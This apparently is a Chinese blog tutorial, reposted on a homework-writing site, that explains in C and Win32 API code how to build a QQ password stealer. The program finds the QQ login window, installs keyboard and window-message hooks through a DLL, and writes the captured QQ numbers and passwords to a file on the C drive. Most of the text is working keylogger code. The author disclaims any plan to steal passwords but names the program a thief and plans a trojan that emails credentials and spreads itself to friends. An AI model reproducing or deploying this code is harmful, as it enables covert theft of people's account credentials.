C语言实现QQ暗码恶徒
当前位置:以往代写 > C/C++ 教程 >C语言实现QQ暗码恶徒
2019-06-13

C语言实现QQ暗码恶徒

C语言实现QQ暗码恶徒

副标题#e#

一般的盗暗码的软件的软件都是通过监督键盘来得到暗码,这样操纵较量利便,可是这样也存在必然问题,暗码有的时候不是很精确,因为有的人输入暗码并不是从前到后输入,虽然这样的人也是少数,盗暗码嘛,虽然去获得那些较量粗心的人的暗码! 通过安装钩子来监督QQ登岸界面就是得到暗码的要领,在安装前得先找到登岸窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登岸”就可以开始处理惩罚暗码了! 我筹备分为四部门来说明这个整个进程:

(1)寻找QQ登岸界面。

(2)安装钩子

(3)钩子函数的表明.

(4)处理惩罚暗码。

以下部门全是利用C语言,文章中我假设读者您是会C/SDK编程的。假如碰着相关的观念性问题,您可以查察MSDN或是上BBS 询问!

寻找QQ登岸界面

软件运行后,操作安装按时器,每秒在系统找QQ登岸界面,这样根基上只要用户打开了QQ登岸界面就会被抓住其句柄,看下面代码:

#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

安装好TIMER后,下面是处理惩罚主措施的WM_TIMER动静,每每呈现没有界说的变量,您可以领略为是全局变量.

//处理惩罚WM_TIMER代码
if (!IsWindow(g_hQQLogin)) //判定g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄
do
{
//操作FindWindowEx查找QQ登岸窗口,详细参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770
//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很要害,假如你的QQ登岸窗口上没有" 登录QQ"字样,那么获取暗码将失败!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登岸窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二部门中先容
}
}

上面就是查找QQ登岸窗口句柄的进程,从代码可以看出我用的要领:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话假如也看不懂,下面您不消看了:() 我最开始是想操作 FindWindow(NULL,"QQ用户登岸窗口")来查找,可是我用Spy++看了QQ登岸窗口的标题并不是“QQ用户登岸窗口”,而是“乱码”,个中包括了回车键等非凡字符,于是我用了FindWindowEx().


#p#副标题#e#

安装钩子

找到了QQ登岸窗口后,就乐成了一半。

下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态毗连库)?要去“钩”其他历程的动静,得让HOOK函数在DLL中,这样好映射到其地点空间中!

BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//得到登岸框的句柄
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN
g_hNum = GetDlgItem(hQQLogin, 138);//差异版本QQ,此处纷歧样! 获得QQ号的子窗口句柄
g_hPsw = GetDlgItem(hQQLogin, 180); //差异版本QQ,此处纷歧样!获得QQ暗码的子窗口句柄
if (g_hNum == NULL)
{
MessageBox(NULL,"哭了,号码句柄都没有获得!","郁闷",0);
return FALSE;
}
if(g_hPsw==NULL)
{
MessageBox(NULL,"哭了,暗码句柄都没有获得!","郁闷",0);
return FALSE;
}

别离键盘HOOK,和界面部门动静处理惩罚的HOOK


g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL;
}
return bRet;
}

上面是安装HOOK部门的代码,就这么简朴,上面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部门要表明的钩子函数

#p#副标题#e#

钩子函数的表明

CallWndProc,KeyboardProc是两个回调函数的原型和详细代码如下:

// 钩子进程,监督“登岸”的呼吁动静
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕捉“登岸”按钮
if (p->message == WM_COMMAND && p->wParam ==16032)
//下面个函数是我在第四部门先容-“处理惩罚暗码”部门会仔细说明
//当用户点了登岸按钮,说明QQ号码和QQ暗码已经填写完毕,虽然可以去得到暗码了
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// 键盘钩子进程,监督“登岸”的热键动静
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕捉热键动静,记录键盘的按键盘进程,pmsg是PMSG范例的,i是全局Static范例的
pmsg[i].wParam =wParam;
i++;
if (wParam == VK_RETURN) //用户利用键盘“回车”来登岸,用户用了回车后,就可以可以去得到暗码了
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}

在大白了这两个钩子函数后就可以看后期是如何详细处理惩罚暗码的了,这就是下面的第四部门内容

处理惩罚暗码

假如您读到了此处,我想得暂停一会,先让我来帮你回想一下前面提到的几个要害的变量

第一个:QQ号的子窗口句柄 g_hNum

第二个:QQ暗码的子窗口句柄 g_hPsw //此部门临时不利用,下面

第三个:存键盘按键的 pmsg

上面三变量别离呈此刻第二部门和第三部门,都是全局共享(shared)变量

#p#副标题#e#

#p#分页标题#e#

QQ暗码的子窗口句柄 g_hPsw 此部门临时不利用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去获得QQ暗码,得处理惩罚按键动静

void GetPasswrod()
{
//声明变量和初始化
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));
DWORD dw;
//获得QQ号的内容,觉得有的人的QQ号是在登岸框有记录,其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不利用,无法这样得到暗码
//提取出键盘记录,此内容也许全是暗码,也许是QQ号+QQ暗码
for(j=0;j<20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]=’\0’;
//把QQ号码和QQ暗码写入C盘password.txt中
f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
strcat(total,"号码");
strcat(total,num);
strcat(total,"暗码:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
CloseHandle(f);
}

最后在C盘password.txt也许会呈现这样两种环境:

1)当QQ号是没有用输入,罢了用的粘贴可能是电脑以前有记录则是:号码:21728812暗码:TEST

2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是:号码:21728812暗码:21728812TEST

可以看出,第2种环境把QQ当成了暗码了,所以暗码还得减去QQ号,

出格说明:我这样直接处理惩罚wParam参数,获得的字符暗码全是大写的,详细巨细写问题我没有就没有仔细去处理惩罚的,成果实现就行了,究竟我利用他不消来盗暗码的!

上面四部门根基上得到暗码的成果先容完毕。每每没有先容的变量皆是全局变量,没有提到的函数如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,具体利用说明请查MSDN(http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,也许有的处所我说的钩子函数,而别的一个处所说的是HOOK函数

出格说明:上面有详细的运行文件,由于小弟并没有思量到更多细节,我只是用了“抱负”状况下去得到暗码,而且或的暗码后并没有注重后期暗码处理惩罚,也许呈现暗码巨细写不切合或是无法获得暗码,请各人千万别笑话,我写这篇菜鸟级此外Blog的原因意在汇报一些对这方面感想迷惑的伴侣根基的道理,和但愿和大侠们交换 !

后期假如有须要的话,我筹备举办改版,凭据“真正”的QQ“木马”来写,如:对QQ版本举办识别,暗码自动发送到E-MAIL,插手QQ尾巴代码,使其自动传给挚友的等成果!请存眷我的主页 http://www.uisoft.net

    关键字:

在线提交作业